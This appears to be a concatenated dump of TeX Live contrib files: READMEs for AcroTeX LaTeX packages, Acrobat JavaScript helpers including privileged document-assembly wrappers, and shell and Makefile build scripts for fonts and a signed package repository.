to an .eps or a .pdf format (depending if you use distiller---should work for
users of Ghostscript as well---or pdflatex and xelatex), place that image in
the same folder as your source document. Now, anywhere in your document, use
the command \setTileBgGraphic to create your tiled background.
Other features: Turn tiling on or off, Draft mode (an package option)
used during the content development stage. Change the way the tiles
are laid out, change from top-to-bottom to bottom-to-top.
What's new (2018/04/26): Added a dummy package aeb-tilebg, which conforms to
the listing of this package on CTAN.
Enjoy!
Now, I must get back to my retirement.
dps
2016/02/18
<file_sep>/texmf-dist/doc/latex/artthreads/README.md
The artthreads Package
Author: <NAME>
Version: v1.3.1
Dated: 2020-07-09
Through the commands of the artthreads package, create PDF article threads,
a concept/feature of Adobe Reader/Acrobat that has been around since the
product's beginning. The use of article threads typically only makes sense in
a document in which the text is in a multi-column format or in narrow columns.
Set the article threads after the composition of the document is completed.
The method of setting the threads is very visual not automatic as in the
threadcol package of Scott Patkin (available for pdftex only).
The artthreads package supports all drivers: dvips, pdflatex,
lualatex, xelatex, dvipdfm, and dvipdfmx.
What's New v1.3.1 (2020-07-09) Fixed some issues with lualatex.
Additonal built-in push buttons and link actions to direct the
reader to a particular thread.
Enjoy.
<NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/eqexam/README.md
The eqexam Package
Dated: 2021-01-20
Author: <NAME>
eqExam is a LaTeX package for writing exams, tests, quizzes,
homework assignments, etc. It is a stand alone package, yet is
tightly integrated with the AcroTeX eDucation Bundle (AeB). Highlights of
this package are as follows:
1. Can create exams (tests, quizzes, homework assignments) for
paper, with points in the left or right margins (or both), totals
for each page optionally shown at the bottom corner of each page.
Questions can be objective, fill-in, true false, or multiple
choice.
2. Solutions can optionally be included in the source file, and
by changing options, can be displayed (for an answer key), in a
couple of different ways. A solutions only document can also be
generated.
3. Can create multi-part exams, as I often do for final exams, these
multiple exams are meant to be graded individually.
4. The one thing that distinguishes this package from the other
exam package is its support for PDF, and this is where AeB comes
in. When you have AeB installed, and you select any of
several options (pdf, links, online or email), a variety of
things can happen. For example, in the case of the online or
email options, white space for solutions is converted into
multi-line text field, spaces to fill in answers are converted to
text fields,multiple choice questions are converted into radio
button fields, etc. When the email option is used, a "Submit"
button is automatically created at the top of the first page of
the test. The student can take the test online (perhaps in a
testing lab) then submit responses to the instructor. The email
that is generated to the instructor attaches the FDF file of
form data, so the instructor gets a copy of all responses.
She/He can then open the file and view the responses of the
student. Get the latest AeB (AcroTeX eDucation Bundle,
web,exerquiz,etc)
5. A major option, fortextbook, is designed to support (U.S.) textbook
authors. Documentation for this option is found in the doc/fortextbook
folder. See also the series of blogs at
http://www.acrotex.net/blog/?tag=fortextbook
What's New (2021-01-20) Defined \trackProblemsOn and \numPtsOfProblem;
added \doNoRandomizeChoices and \allowRandomizedChoices. See documentation.
What's New (2020-03-14) Defined several commands and one environment to
support the insertion of a figure into a problem. Demo file that illustrates
these new commands and environment is found at
http://www.acrotex.net/blog/?p=1419
What's New (2020-01-06) Fixed a bug in eqexam, so that now comment.sty is
fully supported. For consistency, aeb-comment.sty is nothing more than
version 3.8 dating to July 2016.
What's New (2019-12-17) fortextbook: added \autoInsSolns, as explained in
fortextbook.pdf; fixed a bug in the use of aeb-comment with the fortextbook
option. Updated that custom package, now dated 2019/12/18. (aeb-comment is
distributed with acrotex.)
What's New (2019-10-29) Fixed a bug with the online option. The \fillineol*
command now allows verbatim text in the third argument (as well as the
first).
What's New (2019-01-31) Package uses aeb-comment, an older version of the
comment package. The newer version has some incompatibilities with eqexam.
What's New (2018-12-13) Changes to support the mi-solns package
What's New (2018-04-15) Minor bug fixes
What's New (2018-02-19): Extended the vertical space fill types
and added \fillineol. Refer to the table of contents under Sections 10.11
and 10.12.
Sample files, previous distributed with eqexam are now available from
http://www.acrotex.net/blog/?cat=107
and
http://www.acrotex.net/blog/?tag=eqexam-package
The home page for eqexam is
http://www.math.uakron.edu/~dpstory/eqexam.html
The home page for AeB is
http://www.math.uakron.edu/~dpstory/webeq.html
Comments and suggestions are always gratefully accepted and seriously
considered.
<NAME>
<file_sep>/texmf-dist/doc/latex/eq-save/README.md
The eq-save Package
Author: <NAME>
Dated: 2021-02-17
In the past, Adobe Reader did not save form data; consequently, work done by
the student is lost when the AeB document is closed. In the more recent
versions, beginning perhaps with version~11, AR can save form data. The
eq-save package was written at a user's request to save all the quiz data so
that the student does not lose his/her results after saving and closing the
document.
Use this package if you are writing tutorial or worksheets using the exerquiz
package, the package enables the student to continue reading and work through
the document over several sessions.
Interactive document, such as those produced by AeB (including exerquiz)
require Adobe Reader. Any such AeB document must be viewed in AR, outside a
browser.
What's New (2021-02-17) Minor modification of restoreQuizData() to accomodate
the eq-pin2corr package.
What's New (2019-08-07) Minor reorganization of internal and public commands.
What's New (2018-04-07) Bug fix, occassionally the data was not being
recorded correctly.
Package works for dvips/Distiller, pdflatex, lualatex, and xelatex.
Enjoy!
Now, I must get back to my retirement.
dps
dpstory at uakron dot edu
<file_sep>/texmf-dist/doc/latex/richtext/README.md
The richtext Package
Author: <NAME>
Dated: 2020-07-02
The richtext package is used to create rich text strings that can, in turn,
be inserted into the RV (and V) keys of text field. Currently, only the eforms
package supports the RV key.
What's New 2020-07-02: dvips tends to break lines according to
some algorithm known only to the developer. This version of richtext
has focused fixes to the dvips->distiller. It tries to prevent dvips
from breaking lines in the postscript file that will cause the rich
text field to fail. (Similar problems with JavaScript, by the way.)
After much testing, the fix seems to work.
Now, I simply must get back to my retirement.
<NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/aebenvelope/ReadMe.txt
The AeB Pro eEnvelope System (APES)
LaTeX package that uses the concept of an eEnvelope to attached
files. The system uses any one of four provided eEnvelope templates,
or can use a custom designed template. The AeB Pro package is
required to attach documents to the eEnvelope. The AeB Pro, hence
eEnvelope, requires Acrobat Pro, version 7.0 or later, and requires
the document author to create PDF using distiller.
Be sure to get the latest aeb_pro.zip and acrotex.zip distributions
(in the latter case, all you need is acrotex_pack.zip) if you
already have installed the full distribution.
Unzip within the aeb_pro folder, and the zip file should create an
aebEvelope folder with the package files within. Refresh you file
name database, as needed, and read the documentation and try the examples,
apeb1.tex, ape2.tex, ape3.tex and ape4.tex.
Home page for this package is
http://www.math.uakron.edu/~dpstory/aeb_pro.html
Enjoy!
Now, I must get back to my retirement.
dps
05/17/07
<file_sep>/texmf-dist/doc/latex/mkstmpdad/README.md
The mkstmpdad Bundle: The mkstmp_pro and aeb_dad Packages
Author: <NAME>
Dated: 2016/10/26
This bundle contains two related packages: mkstmp_pro and aeb_dad.
These use Adobe Distiller as the PDF creator, and Adobe Acrobat as well.
1. mkstmp_pro: Is a simple workflow for creating custom stamps, that
Acrobat uses for commenting.
2. aeb_dad: This package uses stamps (created by mkstmp_pro) build a
Drag and Drop Matching (Game). The end user may drag and drop stamps
onto target push buttons. If the stamp is dropped onto the wrong
button, an alert box appears announcing "Wrong!", and the stamp is
returned to its original place; if the stamp is dropped on the correct
button, the alert box announces "Right!". This is as close to DAD
(Drag and Drop) as we can get in PDF.
Users of Adobe Acrobat can, of course, enjoy DAD Matching, but more
importantly, users of Adobe Reader XI (version 11) or later can too! One
of the splendid features of ARXI is it enables full support for
commenting (and for saving fill-in form fields). Previous versions of AR,
users could view stamps and view the associated comments, but could not
move the stamps around on the page. With version 11, you can now move
stamps (and other comments) around; this feature was the inspiration for
DAD Matching (the aeb_dad package).
Enjoy!
Now, I must get back to my retirement.
<NAME>
dpstory at acrotex dot net
<file_sep>/texmf-dist/doc/latex/rmannot/README.md
Distribution: rmannot
Author: <NAME>
Dated: 2021-04-21
The rmannot package is part of the AeB Pro family of packages. The package
creates rich media annotations, in which MOV, MP4, M4V, 3GP, 3G2, and MP3
files can be played. Rich media annotations is a version 9 feature of
Acrobat/Adobe Reader. Acrobat Pro and Distiller version 9.0 or later are
required to build a document, Adobe Reader 9.0 or later is needed to activate
the annotation and play the media.
What's New (2021-04-21) A rmannot document can now be compiled and built
using non-Distiller workflows; however, the document is non-functional. A
frame box replaces any Rich Media annotation; the frame box contains the
caption "Distiller required". This enables document authors to use their
favorite workflow for building and prefiewing a PDF; an Acrobat/Distiller
workflow is still needed to producing annotations that play media files.
What's New (2020-08-21) This is the update to the rmannot package in response
to the EOL of Flash player. The package now supports alternate media file
types. The richness of rich media annotations is gone; there is no longer any
control of the media using Acrobat JavaScript API. The package is still quite
functional in this age of "plain" media annotations. The updated package
features revised documentation, a few new features, and new demo files.
Let me know if there are problems or suggested features. e-mail
me at <EMAIL> or <EMAIL>
Additional examples appear at the AcroTeX blog site
http://www.acrotex.net/blog/; in particular see,
http://www.acrotex.net/blog/?tag=rmannot-package and
http://www.acrotex.net/blog/?cat=22
<NAME>
dpstory at uakron dot edu
dpstory at acrotex dot net
<file_sep>/texmf-dist/doc/latex/fitr/examples/jmpHook.js
%
% Custom jump action
%
\begin{insDLJS}{jfitr}{Custom Effects following Jump}
function pbJmpHookCustom(event) {
console.show();
app.beep();
console.println("You just jumped to a view window named \""
+event.target.name+"\"!");
}
\end{insDLJS}
\endinput
<file_sep>/texmf-dist/doc/latex/acrotex-js/js-files/aeb_pro.js
/*
AEB Pro Document Assembly Methods
Copyright (C) 2012 -- 2021 AcroTeX.Net
<NAME>
http://www.acrotex.net
Version 1.6.2
v1.6.2 Modified aebDocSaveAs for thorshammer
v1.6.1 aebCreateTemplate now returns an object
v1.6 Added aebAddWatermarkFromText, aebLaunchURL
v1.5 Added aebCertifyInvisibleSign
*/
if ( typeof aebTrustedFunctions == "undefined") {
aebTrustedFunctions = app.trustedFunction( function ( doc, oFunction, oArgs )
{
app.beginPriv();
var retn = oFunction( oArgs, doc );
app.endPriv();
return retn;
});
}
aebAddWatermarkFromFile = app.trustPropagatorFunction( function ( oArgs, doc )
{
var Msg=function(e){return (aebAddWatermarkFromFile.msg==undefined)?("Add Watermark from File Error: " + e.toString()):aebAddWatermarkFromFile.msg;}
app.beginPriv();
try { doc.addWatermarkFromFile(oArgs); } catch(e) {console.println(Msg(e));}
app.endPriv();
aebAddWatermarkFromFile.msg=undefined;
});
aebAddWatermarkFromText = app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
return doc.addWatermarkFromText(oArgs);
app.endPriv();
});
aebImportIcon = app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
return doc.importIcon(oArgs);
app.endPriv();
});
aebInsertPages = app.trustPropagatorFunction( function ( oArgs, doc )
{
var Msg=function(e){return (aebInsertPages.msg==undefined)?("Insert Pages Error: " + e.toString()):aebInsertPages.msg;}
app.beginPriv();
try { doc.insertPages(oArgs); } catch(e) {console.println(Msg(e));}
app.endPriv();
aebInsertPages.msg=undefined;
})
aebAppOpenDoc = app.trustPropagatorFunction( function ( oArgs, doc )
{
var Msg=function(e){return (aebAppOpenDoc.msg==undefined)?("App Open Doc Error: " + e.toString()):aebAppOpenDoc.msg;}
app.beginPriv();
try { return app.openDoc(oArgs); } catch(e) {console.println(Msg(e));}
app.endPriv();
aebAppOpenDoc.msg=undefined;
return retn;
})
aebImportTextData = app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
return doc.importTextData(oArgs);
app.endPriv();
});
aebImportSound = app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
return doc.importSound(oArgs);
app.endPriv();
});
aebSaveAs = app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
app.execMenuItem("Save");
app.endPriv();
});
// Version 1.7.2
aebDocSaveAs = app.trustPropagatorFunction( function ( oArgs, doc )
{
var Msg=function(e){return (aebDocSaveAs.msg==undefined)?("Doc SaveAs Error: " + e.toString()):aebDocSaveAs.msg;}
var Action=function(){return ((aebDocSaveAs.action==undefined)?null:eval(aebDocSaveAs.action));}
app.beginPriv();
try {
return retn = doc.saveAs(oArgs);
} catch(e){console.println(Msg(e));Action();}
app.endPriv();
aebDocSaveAs.msg=undefined;
aebDocSaveAs.action=undefined;
});
aebExtractPages = app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
return doc.extractPages(oArgs);
app.endPriv();
});
aebMailDoc = app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
return doc.mailDoc(oArgs);
app.endPriv();
});
aebImportDataObject = app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
return doc.importDataObject(oArgs);
app.endPriv();
});
aebSignatureSign = app.trustPropagatorFunction( function ( oArgs, field )
{
app.beginPriv();
return field.signatureSign(oArgs);
app.endPriv();
});
aebSecurityHandlerLogin = app.trustPropagatorFunction( function ( oArgs, securityHandler )
{
app.beginPriv();
return securityHandler.login(oArgs);
app.endPriv();
});
aebTimestampSign = app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
return doc.timestampSign(oArgs);
app.endPriv();
});
aebSecurityGetHandler = app.trustPropagatorFunction( function ( oArgs, security )
{
app.beginPriv();
return security.getHandler(oArgs);
app.endPriv();
});
aebAppGetPath = app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
return app.getPath(oArgs);
app.endPriv();
return retn;
});
aebSignatureSetSeedValue = app.trustPropagatorFunction( function ( oArgs, field )
{
app.beginPriv();
return field.signatureSetSeedValue( oArgs )
app.endPriv();
});
aebCertifyInvisibleSign = app.trustPropagatorFunction( function ( oArgs, field )
{
app.beginPriv();
return field.certifyInvisibleSign( oArgs )
app.endPriv();
});
aebAddIcon=app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
doc.addIcon(oArgs);
app.endPriv();
});
aebCreateTemplate = app.trustPropagatorFunction( function ( oArgs, doc )
{
var Msg=function(e){return (aebCreateTemplate.msg==undefined)?("Create Template Error: " + e.toString()):aebCreateTemplate.msg;}
app.beginPriv();
try { return doc.createTemplate(oArgs); } catch(e) {console.println(Msg(e));}
app.endPriv();
aebCreateTemplate.msg=undefined;
})
aebBrowseForDoc=app.trustPropagatorFunction( function ( oArgs, doc )
{
app.beginPriv();
var retn = app.browseForDoc(oArgs);
app.endPriv();
});
aebLaunchURL=app.trustPropagatorFunction ( function ( oArgs )
{
app.beginPriv();
var retn = app.launchURL(oArgs);
app.endPriv();
});
<file_sep>/texmf-dist/doc/latex/acrosort/README.md
acrosort --- <NAME>
Dated: 2020-06-17
The AcroSort is a novelty LaTeX package for importing a series
of tiled images of a picture. The tiled images are randomly
arranged, then resorted before the user's eyes using a bubble
sort.
Images can be tiled using the tile-graphic package, also
available through CTAN.
What's New (2020-06-02): Minor suggested changes by CTAN maintainers
What's New (2020-06-02): This is a complete rewrite of the
package. The package now supports all common PDF creators:
pdflatex, lualatex, xelatex, dvips->distiller. Multiple bubble
sort tiles images are now supported.
Now, I simply must get back to my retirement.
<NAME>
<EMAIL>
2020-06-16
<file_sep>/update.sh
#!/bin/bash
# (c) 2016-2021 <NAME>
# License: GPLv3+
#
# USAGE:
# call this script with the two envvars below set to proper values
# eg:
# TLCHECKOUT=/path/to/tl/svn/checkout TLNETDEST=/path/to/created/repo update.sh
# at the moment the generated repository in TLCHECKOUT is *not* signed
# due to the --no-sign option. You would need the TL distribtuion key
# to sign. But you can sign with a different key and tell the users to
# use tlmgr key add etc, see manual.
TLCHECKOUT=${TLCHECKOUT:-/home/norbert/Development/TeX/texlive.git}
TLNETDEST=${TLNETDEST:-/home/norbert/Domains/server/texlive.info/contrib/current}
TLCATALOGUE=${TLCATALOGUE:-/home/norbert/Development/TeX/texcatalogue-svn}
# how to sign
export TL_GNUPGOPTS="--local-user 0xEC00B8DAD32266AA"
# we don't do TeX Catalogue updates
#unset TEX_CATALOGUE
do_sign=true
if [ "$1" = "-no-sign" ] ; then
do_sign=false
shift
fi
do_tlpdb=false
do_container=false
do_collection=false
if [ "$1" = "container" ] ; then
do_container=true
elif [ "$1" = "tlpdb" ] ; then
do_tlpdb=true
elif [ "$1" = "collection" ] ; then
do_collection=true
else
do_tlpdb=true
do_container=true
do_collection=true
fi
if $do_collection ; then
col=tlpkg/tlpsrc/collection-contrib.tlpsrc
echo "category Collection" > $col
echo "shortdesc tlcontrib packages" >> $col
echo "longdesc collections of all packages in contrib.texlive.info" >> $col
for i in `ls tlpkg/tlpsrc/*.tlpsrc | sort` ; do
bn=`basename $i .tlpsrc`
if [ "$bn" = "00texlive.autopatterns" -o "$bn" = "00texlive.config" -o "$bn" = 00texlive.installation \
-o "$bn" = collection-contrib -o "$bn" = "ketcindy" -o "$bn" = "pdftex-dev" ] ; then
continue
fi
echo "depend $bn" >> $col
done
git add $col
if ! git diff --cached --exit-code >/dev/null ; then
# something is staged
echo "collection contrib is updated, diff is as following:"
git diff --cached
echo ""
echo -n "Do you want to commit these changes (y/N): "
read REPLY <&2
case $REPLY in
y*|Y*) git commit -m "collection-contrib updated" ;;
*) echo "Ok, leave it for now!" ; git restore --staged $col ;;
esac
fi
fi
if $do_tlpdb ; then
# update tlpdb
$TLCHECKOUT/Master/tlpkg/bin/tl-update-tlpdb \
--w32-pattern-warning -from-git \
--catalogue=$TLCATALOGUE \
--master=`pwd`
fi
if $do_sign ; then
gpgcmd=
else
gpgcmd=-no-sign
fi
if $do_container ; then
$TLCHECKOUT/Master/tlpkg/bin/tl-update-containers \
-master `pwd` \
$gpgcmd \
-location $TLNETDEST \
-all # sometimes we need -recreate
grep ^name tlpkg/texlive.tlpdb | grep -v 00texlive | grep -v '\.' | awk '{print$2}' | sort > $TLNETDEST/packages.txt
fi
# sometimes -recreate might be necessary to fully rebuild!
<file_sep>/texmf-dist/source/latex/lucold/makefd
#! /bin/bash
# $Id: makefd,v 1.1 1999/05/25 12:16:26 loreti Exp $
cp $TETEXDIR/texmf/tex/latex/lucidabr/*t1hlh.fd .
for infile in *.fd
do outfile="${infile%h.fd}os.fd"
awk >$outfile -f makefd.awk -v infile=$infile
done
rm *t1hlh.fd
<file_sep>/texmf-dist/source/fonts/garamondx/makezgm
#!/bin/bash
shopt -s extglob # enable extended globbing, eg, @(T|LY) matches either T or LY
cd "~/Google Drive/Fontpkgs/GaramondNo8v3"
cpy ?ewG8*.pfb ${tmfv}/fonts/type1/public/garamondx
cpy ?ewG8*.pfb ../garamondx.tds/fonts/type1/public/garamondx
cpy ?ewG8*.pfb ../garamondxf/garamondx/type1
cpy zgmosfnums.enc ${tmfv}/fonts/enc/dvips/garamondx
cpy zgmosfInums.enc ${tmfv}/fonts/enc/dvips/garamondx
cpy zgmosfnums.enc ../garamondx.tds/fonts/enc/dvips/garamondx
cpy zgmosfInums.enc ../garamondx.tds/fonts/enc/dvips/garamondx
cpy zgmosfnums.enc ../garamondxf/garamondx/enc
cpy zgmosfInums.enc ../garamondxf/garamondx/enc
afm2tfm newG8-Osf-reg -T zgmosfnums.enc zgmr-digits
afm2tfm newG8-Osf-reg -T zgmosfInums.enc zgmr-digitsI
afm2tfm newG8-Osf-bol -T zgmosfInums.enc zgmb-digitsI
afm2tfm newG8-Osf-bol -T zgmosfnums.enc zgmb-digits
afm2tfm newG8-Osf-bolita -T zgmosfnums.enc zgmbi-digits
afm2tfm newG8-Osf-bolita -T zgmosfInums.enc zgmbi-digitsI
afm2tfm newG8-Osf-ita -T zgmosfInums.enc zgmri-digitsI
afm2tfm newG8-Osf-ita -T zgmosfnums.enc zgmri-digits
for f in zgm*-digits*.tfm; do tftopl $f ${f%.*}; done
cpy zgm*-digits*.tfm ${tmfv}/fonts/tfm/public/garamondx
cpy zgm*-digits*.tfm ../garamondx.tds/fonts/tfm/public/garamondx
cpy zgm*-digits*.tfm ../garamondxf/garamondx/tfm
tex zgm-drv
for f in zgm*8@(r|y).pl; do pltotf $f ${f%.*}; done
apply vptovf @(T|LY)1-*.vpl
/bin/cp -fp @(T|LY)1*.tfm ${tmfv}/fonts/tfm/public/garamondx
/bin/cp -fp @(T|LY)1*.vf ${tmfv}/fonts/vf/public/garamondx
/bin/cp -fp @(T|LY)1*.tfm ../garamondx.tds/fonts/tfm/public/garamondx
/bin/cp -fp @(T|LY)1*.vf ../garamondx.tds/fonts/vf/public/garamondx
/bin/cp -fp @(T|LY)1*.tfm ../garamondxf/garamondx/tfm
/bin/cp -fp @(T|LY)1*.vf ../garamondxf/garamondx/vf
/bin/cp -fp zgm*8@(c|r|y).tfm ${tmfv}/fonts/tfm/public/garamondx
/bin/cp -fp zgm*8@(c|r|y).tfm ../garamondx.tds/fonts/tfm/public/garamondx
/bin/cp -fp zgm*8@(c|r|y).tfm ../garamondxf/garamondx/tfm
<file_sep>/texmf-dist/doc/latex/lucidabr/Makefile
# Trivial Makefile to generate and move files to the appropriate directory.
# Copyright 2005, 2006, 2007 TeX Users Group.
# You may freely use, modify and/or distribute this file.
styles = lucmtime.sty lucbmath.sty lucidabr.sty lucidbrb.sty \
lucidbry.sty lucmin.sty luctime.sty
fd = lmrhlcm.fd omlhlcm.fd omlhlh.fd omshlcy.fd omshlh.fd omxhlcv.fd
default: $(styles) $(fd)
$(styles) $(fd): lucidabr.ins
latex '\nonstopmode\input $<'
$(styles): lucidabr.dtx
$(fd): lucidabr.fdd
lucidabr.pdf: lucidabr.dtx
pdflatex '\nonstopmode\input $<'
texmf = ../../..
install: $(styles) $(fd)
mv -f $(styles) $(texmf)/tex/latex/lucidabr/
mv -f $(fd) $(texmf)/tex/latex/lucidabr/
rm -f lucfont.tex lucidabr.log lucidabr.aux
<file_sep>/texmf-dist/doc/latex/lucida-otf/README.md
# README #
Package lucida-otf supports the non-free fonts from
Bigolow & Holmes which are available from the TUG-office
for a special price for members of any TeX usergroup.
See http://tug.org/store/lucida
Following font files are supported:
- LucidaBlackletterOT.otf
- LucidaBrightMathOT-Demi.otf
- LucidaBrightMathOT.otf
- LucidaBrightOT-DemiItalic.otf
- LucidaBrightOT-Demi.otf
- LucidaBrightOT-Italic.otf
- LucidaBrightOT.otf
- LucidaCalligraphyOT.otf
- LucidaConsoleDK-BoldItalic.otf
- LucidaConsoleDK-Bold.otf
- LucidaConsoleDK-Italic.otf
- LucidaConsoleDK.otf
- LucidaGrandeMonoDK-BoldItalic.otf
- LucidaGrandeMonoDK-Bold.otf
- LucidaGrandeMonoDK-Italic.otf
- LucidaGrandeMonoDK.otf
- LucidaHandwritingOT.otf
- LucidaSansOT-DemiItalic.otf
- LucidaSansOT-Demi.otf
- LucidaSansOT-Italic.otf
- LucidaSansOT.otf
- LucidaSansTypewriterOT-BoldOblique.otf
- LucidaSansTypewriterOT-Bold.otf
- LucidaSansTypewriterOT-Oblique.otf
- LucidaSansTypewriterOT.otf
<NAME> 2023 -
<file_sep>/texmf-dist/doc/latex/annot-pro/README.md
annot_pro
Dated: 2018/08/13
Author: <NAME>
This package is used to create text, stamp, file attachment, and text box
annotations using Adobe Distiller, these annotations can be viewed in
Adobe Reader. For users of pdf(la)tex, use the pdfcomment package by Josef
Kleber might suffice.
Check out my http://www.acrotex.net/ website and my blog site as well
at http://blog.acrotex.net/.
What's New (2018/08/13) Now the package supports text markup annotations; these
annotations can break across page boundaries with some help, by setting the crackat
key. All supported annotations can now have rich text content.
What's New (2018/04/26): Added dummy package named annot-pro to conform with
CTAN naming.
Now, I simply must get back to my retirement.
<NAME>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/datepicker-pro/README.md
The datepicker-pro Package
Author: <NAME>
Dated: 2018-07-02
One of the (many) deficiencies of Adobe Acrobat Reader/Adobe Acrobat is that
they have never supported a proper date picker. This package now supplies
one. The \datepicker command creates a readonly text field and a push button
to its right. Pressing on the pushbutton brings forth a SWF file displaying a
calendar. The user then chooses a date from the calendar, the the date is
transferred to the text field.
This is a "pro" application, which, in the jargon of AeB, means that Adobe
Distiller is required as the PDF creator. The only drivers supported, as a
result, are dvips and dvipsone.
As with all such special features, to experience the datepicker, Adobe Reader
or Acrobat are needed. Most other PDF readers do not support form field, rich
media annotations, and JavaScript.
What's New (2018/07/02) Fixed a problem when the month data contain glyphs
beyond Basic Latin. Specify this using unicode, eg, M\u00E4rz (German for
March).
Enjoy.
<NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/dps/README.md
The DPS package
Author: <NAME>
Dated: 2020-06-03
Das Puzzle Spiel (dps) is a LaTeX package for creating a puzzle, a message
actually, and a series of questions and answers. The document consumer
matches the questions with the answers. With each match, another letter
appears in the puzzle. Upon completion of all questions, the message hidden
in the puzzle is revealed. The puzzle is primarily designed for the screen,
but you can optionally create the game for paper. DPS was created as a
learning tool.
What's new (2020-06-03) Several options usebtnappr and uselayers. These are
to support the creation of extended questions; the latter uses layers to
typeset the questions into the document; the former uses icon appearances to
do the same. Also, new is you can optionally create a sideshow. A sideshow is
a tiled graphic that is progressively revealed as the player works through
the puzzle. There is an additional option of having the tiled graphic appear
randomly in the designated area and have a bubble sort rearrange the tiles
into their proper order. There are many other changes and bug fixes.
The package should work for users of dvips->distiller, pdflatex, lualatex,
and xelatex. The usebtnappr option is available to all workflows. The
uselayers option requires the dvips->distiller workflow and the aeb_pro
package.
Now, I simply must get back to my retirement.
<NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/aeb-minitoc/README.md
The aeb-minitoc package
Author: <NAME>
Dated: 2019-10-06
This package creates mini-TOCs through the use of the \insertminitoc command.
The system is powerful and flexible and allows for some amount of logic.
The package works for a the usual workflows
What's New (2019-10-06) The introduction of \protected@file@percent broke this package, this version
heals the package.
What's New (2018-09-29): Delayed the redefinition of \addtocontents until beginning of document,
to avoid incompatability with the siunitx package.
<NAME>
www.acrotex.net
blog.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/eq-fetchbbl/README.md
The eq-fetchbbl package
Author: <NAME>
Dated: 2021-03-15
Version: v1.0
The eq-fetchbbl package is an application to the exerquiz (eq) and
fetchbibpes (fetchbbl) packages. This package defines several commands and
two environments that are used to conveniently build quizzes that challenge
the user to match Bible passages with their corresponding verse references.
Technically speaking, such quizzes may be built without this package using
the techniques illustrated in hhttp://www.acrotex.net/blog/?p=1446 (Exerquiz:
Match-type questions) and in http://www.acrotex.net/blog/?p=1449 (Exerquiz:
Randomized matching-type questions). However, when working with Biblical
topics, it is easier to incorporate the fetching capabilities of
fetchbibpes.
Updated packages required are exerquiz (2021/02/21) and fetchbibpes
(2021/03/08).
Enjoy the package. Now, I simply must get back to my retirement.
Dr. <NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/source/fonts/garamondx/cpy
#!/bin/sh
rsync -auvE --exclude '**/.*' $@
<file_sep>/texmf-dist/doc/latex/fitr/README.md
The fitr Package
Author: <NAME>
Dated: 2020-07-09
This package is an implementation of the FitR view-type destination as
described in the PDF Reference. The package defines one new command
\jdRect. The command (optionally) sets a jump to and/or sets a destination
of a FitR (Rectangle). (Can you see where \jdRect comes from?).
The package requires eforms (part of the AeB) and collectbox (by Martin
Scharrer). Drivers supported are dvips and dvipsone (using Adobe Distiller
as the PDF creator); pdftex (which includes luatex); and dvipdfm,
dvipdfmx, and xetex.
The package was developed in response to a user of the AeB Bundle who was
interested in developing documents for students with low vision; the idea
is to magnify regions of the document so the student can read more
comfortably. Optional special effects are included (JavaScript functions)
to help focus one the rectangle as it is magnified, and as the previous
view is restored.
What's New for version dated 2020/07/09: The package is extended
to support the PDF creator lualatex. All common workflows are
now automatically detected: pdflatex, lualatex, and xelatex.
Also, there are several new options, one of which is gonative;
when this option is selected, no field or document JavaScript is
used. For the gonative option, the workflow dvips->ps2pdf is
also supported because there is no document JavaScript required.
Of course, the dvips->distiller is also supported.
Now, I must get back to my retirement.
<NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/lmacs/lmacs_aeb.js
%
% Document JavaScript
%
\begin{insDLJS}[makeAlert]{myjs}{Demo Alert Function}
function makeAlert(msg) {
app.alert(msg);
}
\end{insDLJS}
<file_sep>/texmf-dist/doc/latex/ltx4yt/README.md
The ltx4yt package
Dated: 2021-06-08
What ltx4yt does is to provide some tools for creating links, dropdown lists,
popup menus for playing selected YouTube videos in the default browser. Perfect
for personal use and for academic, professional, or classroom presentations
that refer to YouTube content.
All workflows are supported: pdflatex, lualatex, xelatex, dvips->distiller,
and dvips->ps2pdf. In the latter case, the document should not use any
document JavaScripts.
This package replaces yt4pdf, which is withdrawn from CTAN.
Now, I simply must get back to my retirement.
What's New (2021-06-08) Rewrote commands and examples to reflect a new method
of doing YouTube searches.
Dr. <NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/fitr/examples/restoreHook.js
%
% Custom restore action
%
\begin{insDLJS}{rfitr}{Blink border on restore}
function pbRestoreHookCustom(event,bRestore) {
console.show();
app.beep();
console.println("You just returned from a view window named \""
+event.target.name+"\"!");
}
\end{insDLJS}
\endinput
<file_sep>/texmf-dist/doc/latex/aeb-pro/README.md
The AeB Pro Package
Author: <NAME>
Dated: 2021-06-20
The AeB Pro Package complements and extends AcroTeX eDucation Bundle.
AeB Pro implements a number of new features:
(1) AeB Central (this can be used by non-distiller users)
(2) Complete support for set up the initial view of the document
(3) Extensive support for document actions: document level JS,
set document actions (willSave, didSave, etc.) and open
document actions. (4) Complete support for page actions (5)
Complete support for full screen mode, and all the current
transition effects through version 8.
(6) Methods to easily attach documents
(7) document assembly methods, methods used immediately following
PDF creation.
(8) Methods for linking to attachments and launching attachments
(9) Support for creating PDF Packages.
(10) Initializing fields using unicode.
(11) Basic support for layers, rollovers and animations.
(12) In this version (v2.1 or later), the package is opened up to
non-Distiller workflows. Use the dvips/Distiller workflow to obtain all
features, (1)--(11) below, of this package. For authors that have Acrobat
but prefer a non-Distiller workflow, use the useacrobat option for
features (1)--(10) below. For authors who do not have Acrobat, use the
